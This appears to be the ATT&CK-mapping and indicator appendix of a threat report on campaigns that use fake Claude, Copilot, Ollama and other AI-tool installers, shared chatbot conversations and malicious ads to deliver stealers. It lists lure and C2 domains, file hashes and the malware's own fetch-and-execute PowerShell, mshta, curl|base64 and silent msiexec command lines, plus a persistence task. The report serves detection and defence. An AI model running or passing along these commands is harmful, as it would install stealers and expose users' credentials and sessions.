| Resource Development | T1583.008 | Acquire Infrastructure: Malvertising | Google Ads click parameters on the fake download pages and on the claude.ai artifact |
| Resource Development | T1608.006 | Stage Capabilities: SEO Poisoning | Bing result for "claudecode docs" leading to claudecode[.]us[.]com |
| Execution | T1204.004 | User Execution: Malicious Copy and Paste | Win+R, PowerShell, and Terminal instructions on the InstallFix and ClickFix pages |
| Execution | T1204.002 | User Execution: Malicious File | Claude_x64-setup.exedownloaded from a GitHub release |
| Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | irm … | iex one-liners and the encoded PowerShell stage |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | curl -kfsSL $(echo '' | base64 -d) on the claude.ai artifact |
| Persistence | T1053.005 | Scheduled Task/Job: Scheduled Task | schtasks /create /tn "mseupdate" launching headless Edge at logon |
| Defense Evasion | T1218.005 | System Binary Proxy Execution: Mshta | mshta hxxps://last-version.install-2026[.]com/app |
| Defense Evasion | T1218.007 | System Binary Proxy Execution: Msiexec | msiexec /i %TEMP%\_MouseJiggleStudio.msi /qn after the fake check |
| Credential Access | T1539 | Steal Web Session Cookie | Cookies posted to /api2.php?method=sendcookjson |
| Credential Access | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Aura Stealer exfiltration from the fake claude-code.exe |
IOCs
Highest-value indicators (they outlived the domains):
- /api/checkBan/<ip>, /api/send/ip, /api/create/user, /api/checkDone/<ip>: the backend API of the AI Ads BiTB kit, the same on Railway and Render hosts.
- /stats-claude-collector.php, /claude_win.html, /api4.php?method=auth&key=<key>&ist=<brand>, /api2.php?method=sendcookjson|sendexts|sendkeys: the trojanized installer kit.
- /curl/<64 hex characters> on compromised sites: the macOS chain behind shared Claude and Perplexity conversations and the claude.ai artifact.
- /api.php?k=22508a7829b008ccdeee686d907f6b2daf74c43cefe1e925: the operator key shared by the ChatGPT shared-chat and custom GPT chains.
Files:
| SHA-256 | File name | Role |
|---|---|---|
| 882b1aa5432509df9b1ac29b6f987a5dd70c8f46009237de956275a58536f470 | Claude_x64-setup.exe | Trojanized installer from a GitHub release |
| e86f7ba0413a3a4b1d7e1a275b3d1ef62345c9d3fd761635ff188119b8122c85 | claude-code.exe | Aura Stealer posing as Claude Code |
Network:
| Indicator | Type | Role |
|---|---|---|
| claudecode[.]us[.]com, setup-code[.]com, use-code[.]com, code-setup[.]com, claude-setup[.]com | Domain | InstallFix lure (Claude Code) |
| install-copilot[.]com, copilotcli[.]co[.]com | Domain | InstallFix lure (GitHub Copilot CLI) |
| setup-ollama[.]com, codex-console[.]com, openclaw-setup[.]net | Domain | InstallFix lure (Ollama, Codex, OpenClaw) |
| claubecode[.]co[.]com, openclow[.]co[.]com | Domain | Typosquatted redirector |
| refract3[.]com, kafeprog7[.]com, help.xenngypt[.]com | Domain | InstallFix staging |
| cladesktop-apps[.]com, code-desktop[.]com, claudgodic[.]com | Domain | Fake "Download Claude" lure |
| last-version.install-2026[.]com | Domain | HTA staging for the fake "Download Claude" pages |
| claudedev[.]net | Domain | Fake Cloudflare check lure |
| paripassuventures[.]com | Domain | MacSync download host behind the claude.ai artifact |
| openai-backup[.]one | Domain | "Backup domain" linked from the shared ChatGPT chat |
| hxxps://chatgpt[.]com/s/t_6a80bc61c434819190c3eae5932307e8 | URL | Shared ChatGPT chat lure |
| claude-ai[.]us | Domain | Trojanized installer lure |
| stat30ffooo[.]xyz | Domain | Stager registration and command server |
| nucleflowers[.]xyz | Domain | Cookie exfiltration panel |
| budgetforge[.]ai | Domain | Lure with the same registration call |
| claude-advertisement[.]com, meta-claude[.]com, monday-brief-claude[.]com | Domain | AI Ads BiTB lure (Claude) |
| gemini-beta-invitations[.]com, gemini-beta-invites[.]com | Domain | AI Ads BiTB lure (Gemini) |
| perplexity-beta-ads[.]com, beta-manus[.]com | Domain | AI Ads BiTB lure (Perplexity, Manus) |
| mbackend-mdye.onrender[.]com, claudeadsback-production-67c1.up.railway[.]app | Host | BiTB backend on an abused hosting platform |
| sys-tools[.]cfd | Domain | Aura Stealer command and control |
Host-based:
- Command line – InstallFix, with 10 lure domains from April to September 2026:
- powershell -c “irm <lure domain>/install.ps1 | iex”
- followed by powershell “irm <staging domain> | iex”
- Command line – fake “Download Claude” pages:
- mshta hxxps://<host>/app
- then cmd /v
n /c “set x=pow&&set y=ershell&&call …\!x!!y! -E <base64>”
- Command line – custom GPT chain:
- PowerShell -ExecutionPolicy Bypass “irm <IPv4 as a decimal number>/<n> | Out-File $env:temp\<n>.ps1;& $env:temp\<n>.ps1”
- then msiexec /i %TEMP%\<hex>_MouseJiggleStudio.msi /qn /norestart
- Command line – macOS command on the claude.ai artifact:
- curl -kfsSL $(echo ‘<base64>’ | base64 -d)
- Scheduled task – trojanized installer:
- mseupdate · /sc onlogon /rl highest
- runs msedge.exe –remote-debugging-port=9222 –headless –user-agent=”Google Update 4.3″